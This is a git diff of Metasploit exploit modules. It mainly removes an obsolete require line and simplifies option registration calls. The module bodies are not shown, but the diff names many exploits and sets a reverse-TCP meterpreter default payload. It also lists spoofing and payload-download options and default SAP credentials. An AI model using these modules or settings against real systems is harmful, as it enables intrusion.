a/modules/exploits/multi/http/zenworks_control_center_upload.rb +++ b/modules/exploits/multi/http/zenworks_control_center_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index 18fe64bc64..59a1579aed 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -3,12 +3,12 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/php_exe' require 'nokogiri' require 'uri' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper @@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) - ], self.class) + ]) end def get_setting(res, setting_name) diff --git a/modules/exploits/multi/ids/snort_dce_rpc.rb b/modules/exploits/multi/ids/snort_dce_rpc.rb index 75656d28c7..7f3c2f8703 100644 --- a/modules/exploits/multi/ids/snort_dce_rpc.rb +++ b/modules/exploits/multi/ids/snort_dce_rpc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -83,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(139), OptAddress.new('RHOST', [ true, 'A host on the Snort-monitored network' ]), OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address']) - ], self.class) + ]) deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT') end diff --git a/modules/exploits/multi/local/allwinner_backdoor.rb b/modules/exploits/multi/local/allwinner_backdoor.rb index 52cc1e182f..94b376abc2 100644 --- a/modules/exploits/multi/local/allwinner_backdoor.rb +++ b/modules/exploits/multi/local/allwinner_backdoor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Local "Platform" => [ "android", "linux" ], "DisclosureDate" => "Apr 30 2016", "DefaultOptions" => { - "payload" => "linux/armle/mettle/reverse_tcp" + "payload" => "linux/armle/meterpreter/reverse_tcp" }, "Privileged" => true, "Arch" => ARCH_ARMLE, diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 7e0ddefcb7..a8ff2fecec 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -73,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(617), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index 86db120167..7d1ce705bc 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb index 88087b8139..c33cf547bc 100644 --- a/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb +++ b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(5555) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 5161aa9cc8..0d47eb01ff 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('RPORT', [true, 'The remote port', 13838]) - ], self.class) + ]) end diff --git a/modules/exploits/multi/misc/indesign_server_soap.rb b/modules/exploits/multi/misc/indesign_server_soap.rb index d2380687ed..dd1abd5d6b 100644 --- a/modules/exploits/multi/misc/indesign_server_soap.rb +++ b/modules/exploits/multi/misc/indesign_server_soap.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0 )) - register_options( [ Opt::RPORT(12345) ], self.class ) + register_options( [ Opt::RPORT(12345) ]) end diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb index 3bdc76fb11..2c3cdae76a 100644 --- a/modules/exploits/multi/misc/java_jdwp_debugger.rb +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -124,12 +122,12 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8000), OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]), OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']), - ], self.class) + ]) register_advanced_options( [ OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index b5149373ed..37de47d066 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']), Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi']) - ], self.class) + ]) register_common_rmi_ports_and_services end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 6a5942c984..7f6a62fd5b 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -83,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ Opt::RPORT(1099), OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), - ], self.class) + ]) register_common_rmi_ports_and_services end diff --git a/modules/exploits/multi/misc/legend_bot_exec.rb b/modules/exploits/multi/misc/legend_bot_exec.rb index fe8127cd92..2d8b09329c 100644 --- a/modules/exploits/multi/misc/legend_bot_exec.rb +++ b/modules/exploits/multi/misc/legend_bot_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/misc/openoffice_document_macro.rb b/modules/exploits/multi/misc/openoffice_document_macro.rb index 23c4a95ecc..2f07873f5a 100644 --- a/modules/exploits/multi/misc/openoffice_document_macro.rb +++ b/modules/exploits/multi/misc/openoffice_document_macro.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' require 'cgi' @@ -64,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/misc/openview_omniback_exec.rb b/modules/exploits/multi/misc/openview_omniback_exec.rb index 1c27b58489..fe35b0ac8d 100644 --- a/modules/exploits/multi/misc/openview_omniback_exec.rb +++ b/modules/exploits/multi/misc/openview_omniback_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(5555) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index 26465c6334..c007301680 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']), OptString.new('PBOT_PASSWORD', [false, 'pbot Password', '']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb b/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb index d2bca2ffd0..c25d5d9f53 100644 --- a/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb +++ b/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3465) - ], self.class) + ]) deregister_options('CMDSTAGER::FLAVOR') deregister_options('CMDSTAGER::DECODER') diff --git a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb index 6307eda55d..09b7123357 100644 --- a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb +++ b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']), OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system']) - ], self.class) + ]) end def connect_irc diff --git a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb index 4882496650..faa634e3f6 100644 --- a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb +++ b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb index 3691b10e28..da463a0cd5 100644 --- a/modules/exploits/multi/misc/w3tw0rk_exec.rb +++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb index f207b7c93b..1cced4de36 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -133,7 +131,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ Opt::RPORT(921), OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil]) - ], self.class) + ]) deregister_options('FILTER','PCAPFILE') end diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb index 3d4aad3069..53f53dd84b 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -139,11 +137,11 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RHOST("239.255.255.250"), OptAddress.new( 'SHOST', [false, 'This option can be used to specify a spoofed source address', nil]), OptInt.new( 'DELAY', [true, 'This option sets the delay between sent packets', 5]) - ], self.class) + ]) register_advanced_options([ OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]) - ], self.class) + ]) deregister_options('FILTER','PCAPFILE') end diff --git a/modules/exploits/multi/misc/xdh_x_exec.rb b/modules/exploits/multi/misc/xdh_x_exec.rb index 129fe038fc..f3e1415e92 100644 --- a/modules/exploits/multi/misc/xdh_x_exec.rb +++ b/modules/exploits/multi/misc/xdh_x_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -64,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/misc/zend_java_bridge.rb b/modules/exploits/multi/misc/zend_java_bridge.rb index 2a361b807f..208a634fe9 100644 --- a/modules/exploits/multi/misc/zend_java_bridge.rb +++ b/modules/exploits/multi/misc/zend_java_bridge.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => 'Mar 28 2011', 'DefaultTarget' => 0)) - register_options( [ Opt::RPORT(10001) ], self.class) + register_options( [ Opt::RPORT(10001) ]) end def exploit diff --git a/modules/exploits/multi/ntp/ntp_overflow.rb b/modules/exploits/multi/ntp/ntp_overflow.rb index 6f5190ac45..3f711b6737 100644 --- a/modules/exploits/multi/ntp/ntp_overflow.rb +++ b/modules/exploits/multi/ntp/ntp_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Apr 04 2001', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(123)], self.class) + register_options([Opt::RPORT(123)]) end def exploit diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index c609ef77bf..7b65e28bc3 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -197,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('URI', [false, "The path to vulnerable PHP script"]), OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"]) - ], self.class) + ]) end diff --git a/modules/exploits/multi/postgres/postgres_createlang.rb b/modules/exploits/multi/postgres/postgres_createlang.rb index 1935695c10..45ff510bd5 100644 --- a/modules/exploits/multi/postgres/postgres_createlang.rb +++ b/modules/exploits/multi/postgres/postgres_createlang.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/postgres' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb index 5cb8006f8e..1444f8fc82 100644 --- a/modules/exploits/multi/realserver/describe.rb +++ b/modules/exploits/multi/realserver/describe.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/http/client' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/multi/samba/nttrans.rb b/modules/exploits/multi/samba/nttrans.rb index 55bce31106..fa056f69ea 100644 --- a/modules/exploits/multi/samba/nttrans.rb +++ b/modules/exploits/multi/samba/nttrans.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(139) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/samba/usermap_script.rb b/modules/exploits/multi/samba/usermap_script.rb index 273535b2d3..da25e57f70 100644 --- a/modules/exploits/multi/samba/usermap_script.rb +++ b/modules/exploits/multi/samba/usermap_script.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(139) - ], self.class) + ]) end diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index 4143c99639..9059f7473f 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -74,11 +72,11 @@ class MetasploitModule < Msf::Exploit::Remote OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the Linux payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download when using Linux target, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) - ], self.class) + ]) register_advanced_options( [ OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', 7500]), - ], self.class) + ]) register_autofilter_ports([ 50013 ]) end diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index 18c2464fe9..1a73b29874 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -20,8 +20,6 @@ # just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -85,11 +83,11 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('CLIENT', [true, 'SAP Client', '001']), OptString.new('HttpUsername', [true, 'Username', 'SAP*']), OptString.new('HttpPassword', [true, 'Password', '06071992']) - ], self.class) + ]) register_advanced_options( [ OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments (Windows Target)', 250]), - ], self.class) + ]) end def send_soap_request(data) diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index 05a4da1cff..05f4329de5 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -20,8 +20,6 @@ # just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -86,11 +84,11 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('CLIENT', [true, 'SAP Client', '001']), OptString.new('HttpUsername', [true, 'Username', 'SAP*']), OptString.new('HttpPassword', [true, 'Password', '06071992']) - ], self.class) + ]) register_advanced_options( [ OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments (Windows Target)', 250]), - ], self.class) + ]) end def send_soap_request(data) diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index 57df3c24f2..0e8cc9b0e0 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index b286aea7e4..a6f8f317f6 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/multi/svn/svnserve_date.rb b/modules/exploits/multi/svn/svnserve_date.rb index db88821c4f..cffe21caab 100644 --- a/modules/exploits/multi/svn/svnserve_date.rb +++ b/modules/exploits/multi/svn/svnserve_date.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/http/client' class MetasploitModule < Msf::Exploit::Remote @@ -75,14 +74,14 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(3690), OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ]) - ], self.class) + ]) register_advanced_options( [ # 62 on spoonm's, 88 on HD's OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]), OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ]) - ], self.class) + ]) end def brute_exploit(addresses) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 668405d446..a565720660 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -123,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(1900), OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) - ], self.class) + ]) end diff --git a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb index b34c130d95..5f0b63c7b2 100644 --- a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb +++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/rfb' class MetasploitModule < Msf::Exploit::Remote @@ -47,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(5900), OptString.new('PASSWORD', [ false, 'The VNC password']), OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20]) - ], self.class) + ]) end diff --git a/modules/exploits/multi/vpn/tincd_bof.rb b/modules/exploits/multi/vpn/tincd_bof.rb index e9528b6b5b..3953a09765 100644 --- a/modules/exploits/multi/vpn/tincd_bof.rb +++ b/modules/exploits/multi/vpn/tincd_bof.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'securerandom' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb index 35ce7f691f..37527ed6b6 100644 --- a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb +++ b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb @@ -4,8 +4,6 @@ ## require 'timeout' -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptPort.new('SRVPORT', [ true, "The local port to use for the FTP server", 21 ]), Opt::RPORT(80), - ], self.class) + ]) end diff --git a/modules/exploits/netware/smb/lsass_cifs.rb b/modules/exploits/netware/smb/lsass_cifs.rb index 6693f0923b..5dda80e8de 100644 --- a/modules/exploits/netware/smb/lsass_cifs.rb +++ b/modules/exploits/netware/smb/lsass_cifs.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (LSARPC)", 'lsarpc']) - ], self.class) + ]) end diff --git a/modules/exploits/netware/sunrpc/pkernel_callit.rb b/modules/exploits/netware/sunrpc/pkernel_callit.rb index 51a3178859..6a52d63c98 100644 --- a/modules/exploits/netware/sunrpc/pkernel_callit.rb +++ b/modules/exploits/netware/sunrpc/pkernel_callit.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Sep 30 2009')) - register_options([Opt::RPORT(111)], self.class) + register_options([Opt::RPORT(111)]) end def exploit diff --git a/modules/exploits/osx/afp/loginext.rb b/modules/exploits/osx/afp/loginext.rb index a79cdfa897..16c8e632b7 100644 --- a/modules/exploits/osx/afp/loginext.rb +++ b/modules/exploits/osx/afp/loginext.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(548), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb index 175fc3b918..66e495e866 100644 --- a/modules/exploits/osx/arkeia/type77.rb +++ b/modules/exploits/osx/arkeia/type77.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/osx/browser/mozilla_mchannel.rb b/modules/exploits/osx/browser/mozilla_mchannel.rb index 870e5fdfe2..fdd95e754d 100644 --- a/modules/exploits/osx/browser/mozilla_mchannel.rb +++ b/modules/exploits/osx/browser/mozilla_mchannel.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/osx/browser/safari_file_policy.rb b/modules/exploits/osx/browser/safari_file_policy.rb index d799eff564..9561a4b0b7 100644 --- a/modules/exploits/osx/browser/safari_file_policy.rb +++ b/modules/exploits/osx/browser/safari_file_policy.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/service_manager' class MetasploitModule < Msf::Exploit::Remote @@ -66,7 +65,7 